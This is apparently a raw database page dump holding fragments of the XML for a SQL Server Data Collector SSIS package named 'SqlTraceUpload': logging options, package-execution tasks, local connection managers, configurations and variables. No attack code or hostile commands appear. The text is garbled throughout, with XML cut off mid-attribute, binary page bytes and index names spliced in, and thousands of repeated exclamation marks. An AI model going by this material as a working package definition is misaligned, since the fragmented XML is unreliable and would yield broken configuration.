DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property><DTS:Property DTS:EventName="OnPreExecute" DTS:Name="Co	!!!!!!!!!!!!!!!!!!!!!!!!`~4 HvlumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property><DTS:Property DTS:EventName="OnProgress" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property><DTS:Property DTS:EventName="OnWarning" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property></DTS:LoggingOptions><DTS:Executables><DTS:Executable DTS:refId="Package\EPT - Run Generated Package" DTS:CreationName="SSIS.ExecutePackageTask.3" DTS:DelayValidation="True" DTS:Description="Execute Package Task" DTS:DTSID="{B4059538-BC87-4EA8-AD12-E5419D2D2B5A}" DTS:ExecutableType="SSIS.ExecutePackageTask.3" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="EPT - Run Generated Package" DTS:TaskContact="Executes DTS packages;Microsoft Corporation; Microsoft SQL Server v9; (C) 2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0"/><DTS:PropertyExpression DTS:Name="PackageName">"\\Data Collector\\Generated\\" + @[User::CollectionPackageName]</DTS:PropertyExpression><DTS:ObjectData><ExecutePackageTask><PackageName>\Data Collector\Generated\</PackageName><Connection>{AEC0A8A9-5B1C-457A-AC2A-02CBC707C18F}</Connection></ExecutePackageTask></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\GenerateTSQLPackageTask" DTS:CreationName="Microsoft.SqlServer.Management.Collector.Tasks.GenerateTSQLPackageTask, Microsoft.SqlServer.Management.CollectorTasks, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="GenerateTSQLPackageTask" DTS:DTSID="{658EAD60-7032-4546-B7AA-804769187BEF}" DTS:ExecutableType="Microsoft.SqlServer.Management.Collector.Tasks.GenerateTSQLPackageTask, Microsoft.SqlServer.Management.CollectorTasks, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="GenerateTSQLPackageTask" DTS:TaskContact="Generate TSQL Package Task; Microsoft Corporation; Microsoft SQL Server v10;  2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"><DTS:Property DTS:DataType="8" DTS:Name="EventFilter">3,7,OnError,13,OnInformation,9,OnWarning</DTS:Property><DTS:Property DTS:EventName="OnError" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property><DTS:Property DTS:EventName="OnInformation" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="Sourc	!!!!!!!!!!!!!!!!!!!!!!!!`X'	69M0v*'Z>p0'Z>pKqU_sysssispackagefoldersuniquepath0'Z>p+_PK_sysssispackagefolders0's+kPK__sysssisl__3213E83F87E3C375'r0'vYqueue_clustered_index0'vYqueue_secondary_index'ps0'2`Xu+kPK__sysutili__077EA96596DEE022!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!J[`15E^Hv<DTS:Executable xmlns:DTS="www.microsoft.com/SqlServer/Dts" DTS:refId="Package" DTS:CreationDate="3/6/2007 4:18:14 PM" DTS:CreationName="SSIS.Package.3" DTS:CreatorComputerName="" DTS:CreatorName="" DTS:DTSID="{F389A8E6-5A17-4056-ABFD-C8B823F2092E}" DTS:EnableConfig="True" DTS:ExecutableType="SSIS.Package.3" DTS:LastModifiedProductVersion="11.0.1252.5" DTS:LocaleID="1033" DTS:MaxErrorCount="0" DTS:ObjectName="SqlTraceUpload" DTS:PackageType="5" DTS:ProtectionLevel="0" DTS:VersionBuild="219" DTS:VersionGUID="{F7B1BB9F-D78D-48CC-B842-BBA03C490BEE}" DTS:VersionMajor="10"><DTS:Property DTS:Name="PackageFormatVersion">6</DTS:Property><DTS:ConnectionManagers><DTS:ConnectionManager DTS:refId="Package.ConnectionManagers[ConfigConnection]" DTS:CreationName="OLEDB" DTS:Description="Connection used to get information about collection configuration and for logging purposes." DTS:DTSID="{C9A06CAE-CFEE-4A26-BE59-A3A222474CCB}" DTS:ObjectName="ConfigConnection"><DTS:PropertyExpression DTS:Name="ConnectionString">@[User::ConfigConnectionString]</DTS:PropertyExpression><DTS:ObjectData><DTS:ConnectionManager DTS:ConnectionString="Data Source=(local);Initial Catalog=msdb;Provider=SQLNCLI11;Integrated Security=SSPI;APP=SQL Server Data Collector;"/></DTS:ObjectData></DTS:ConnectionManager><DTS:ConnectionManager DTS:refId="Package.ConnectionManagers[MdwConnection]" DTS:CreationName="OLEDB" DTS:Description="Connection used to upload collected data to a warehouse." DTS:DTSID="{6CE046ED-1A7E-4831-864D-EF6FCE30E5A9}" DTS:ObjectName="MdwConnection"><DTS:PropertyExpression DTS:Name="ConnectionString">@[User::MDWConnectionString]</DTS:PropertyExpression><DTS:ObjectData><DTS:ConnectionManager DTS:Retain="True" DTS:ConnectionString="Data Source=(local);Initial Catalog=myMDW;Provider=SQLNCLI11;Integrated Security=SSPI;APP=SQL Server Data Collector;"/></DTS:ObjectData></DTS:ConnectionManager><DTS:ConnectionManager DTS:refId="Package.ConnectionManagers[TargetConnection]" DTS:CreationName="OLEDB" DTS:Description="Connection used to get information from the monitored (target) instance." DTS:DTSID="{607D54DC-E752-4779-9BB2-B3D19CAD0C76}" DTS:ObjectName="TargetConnection"><DTS:PropertyExpression DTS:Name="ConnectionString">@[User::TargetConnectionString]</DTS:PropertyExpression><DTS:ObjectData><DTS:ConnectionManager DTS:Retain="True" DTS:ConnectionString="Data Source=(local);Provider=SQLNCLI11;Integrated Security=SSPI;APP=SQL Server Data Collector;"/></DTS:ObjectData></DTS:ConnectionManager></DTS:ConnectionManagers><DTS:Configurations><DTS:Configuration DTS:ConfigurationString="User::CacheDirectory" DTS:ConfigurationVariable="\Package.Variables[User::CacheDirectory].Properties[Value]" DTS:CreationName="" DTS:DTSID="{C32CCDDF-1CB6-4E64-806E-193762452CA6}" DTS:ObjectName="CacheDirectory"/><DTS:Configuration DTS:ConfigurationString="User::CacheWindow" DTS:ConfigurationVariable="\Package.Variables[User::CacheWindow].Properties[Value]" DTS:CreationName="" DTS:DTSID="{5A111CDB-34FB-47A2-8307-96D7C3BB49CA}" DTS:ObjectName="CacheWindow"/><DTS:Configuration DTS:ConfigurationString="User::InputParameters" DTS:ConfigurationVariable="\Package.Variables[User::InputParameters].Properties[Value]" DTS:CreationName="" DTS:DTSID="{AC2982C3-5B39-4514-B50D-092C15857C1F}" DTS:ObjectName="InputParameters"/><DTS:Configuration DTS:ConfigurationString="User::MDWConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::MDWConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{3B823989-622C-484E-A927-E0C211588865}" DTS:ObjectName="MDWConnectionString"/><DTS:Configuration DTS:ConfigurationString="User::ConfigConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::ConfigConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{BD6C4FE9-3BCB-447C-A897-0DA27695E684}" DTS:ObjectName="ConfigConnectionString"/><DTS:Configuration DTS:ConfigurationString="User::TargetConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::TargetConnectionString].Properti	!!!!!!!!!!!!!!!!!!!!!!!!`15*Hves[Value]" DTS:CreationName="" DTS:DTSID="{7A1F3609-4C0F-4BFA-A979-4AF89D61F160}" DTS:ObjectName="TargetConnectionString"/><DTS:Configuration DTS:ConfigurationString="User::LoopEventName" DTS:ConfigurationVariable="\Package.Variables[User::LoopEventName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{5C370D78-5CD2-427F-B461-BF36DDAFF7F6}" DTS:ObjectName="LoopEventName"/><DTS:Configuration DTS:ConfigurationString="User::ExitEventName" DTS:ConfigurationVariable="\Package.Variables[User::ExitEventName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{8EDCACD7-00DF-40EC-A8C0-B24F1E7D926B}" DTS:ObjectName="ExitEventName"/><DTS:Configuration DTS:ConfigurationString="User::CollectorTypeUID" DTS:ConfigurationVariable="\Package.Variables[User::CollectorTypeUID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{EDC66214-7B5A-479C-9F8A-4F1A3DE80C93}" DTS:ObjectName="CollectorTypeUID"/><DTS:Configuration DTS:ConfigurationString="User::CollectionSetUID" DTS:ConfigurationVariable="\Package.Variables[User::CollectionSetUID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{FF327F2E-CCC8-4F10-A2D0-38603D037E2C}" DTS:ObjectName="CollectionSetUID"/><DTS:Configuration DTS:ConfigurationString="User::ItemID" DTS:ConfigurationVariable="\Package.Variables[User::ItemID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{01BD5F34-840B-4D65-8BF9-969DAE6CF738}" DTS:ObjectName="ItemID"/><DTS:Configuration DTS:ConfigurationString="User::InstanceID" DTS:ConfigurationVariable="\Package.Variables[User::InstanceID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{FD17D526-ED20-412C-8410-FA25A5F46BAC}" DTS:ObjectName="InstanceID"/><DTS:Configuration DTS:ConfigurationString="User::InstanceName" DTS:ConfigurationVariable="\Package.Variables[User::InstanceName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{D3DD404F-F408-420C-A9EA-A20AAB672DBB}" DTS:ObjectName="InstanceName"/><DTS:Configuration DTS:ConfigurationString="User::LoggingLevel" DTS:ConfigurationVariable="\Package.Variables[User::LoggingLevel].Properties[Value]" DTS:CreationName="" DTS:DTSID="{3F16CD83-89C9-4318-A8AD-16A99DB6A766}" DTS:ObjectName="LoggingLevel"/><DTS:Configuration DTS:ConfigurationString="User::LogID" DTS:ConfigurationVariable="\Package.Variables[User::LogID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{B4A38B6C-953A-42F8-8BF4-56631E8D7614}" DTS:ObjectName="LogID"/><DTS:Configuration DTS:ConfigurationString="User::ParentLogID" DTS:ConfigurationVariable="\Package.Variables[User::ParentLogID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{8406BEC6-5D17-457B-BD92-714F0CF97EB5}" DTS:ObjectName="ParentLogID"/><DTS:Configuration DTS:ConfigurationString="User::DaysUntilExpiration" DTS:ConfigurationVariable="\Package.Variables[User::DaysUntilExpiration].Properties[Value]" DTS:CreationName="" DTS:DTSID="{6F51BB50-9D79-4BA5-A519-6EF540C17B67}" DTS:ObjectName="DaysUntilExpiration"/></DTS:Configurations><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{E34CB8FD-CBD7-4A2E-B4E0-738BC079307C}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CacheDirectory"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{9251F22F-29AD-41BA-B38F-E50534BD4E12}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="CacheWindow"><DTS:VariableValue DTS:DataType="3">1</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{55DA9900-29F0-48FE-B856-2F7CAACA67E1}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectionSetUID"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{BDB5BAD1-EF93-4D54-9722-7994B328EB88}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectorTypeUID"><DTS:VariableValue DTS:DataType="8">{0E218CF8-ECB5-417B-B533-D851C0251271}</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{5D803253-0D98-4C29-90AE-84E720B07657}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS	!!!!!!!!!!!!!!!!!!!!!!!!`15Hv:ObjectName="ConfigConnectionString"><DTS:VariableValue DTS:DataType="8">Provider=SQLNCLI11;Data Source=(local);Integrated Security=SSPI;Initial Catalog=msdb;APP=SQL Server Data Collector</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{8934324A-007D-49FB-A1FF-F92608513E4D}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="Counter"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{1EF6EE6B-FED9-4B60-8FC3-05A59E7667B0}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="DaysUntilExpiration"><DTS:VariableValue DTS:DataType="2">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{1FC5CE71-C336-452D-8E10-BFAE5569C2CE}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="ExitEventName"><DTS:VariableValue DTS:DataType="8">EXITEVENT</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{C2B0D6E3-585D-4357-9C80-12E7B8000299}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InputParameters"><DTS:VariableValue DTS:DataType="8">&lt;ns:SqlTraceCollector xmlns:ns="DataCollectorType" 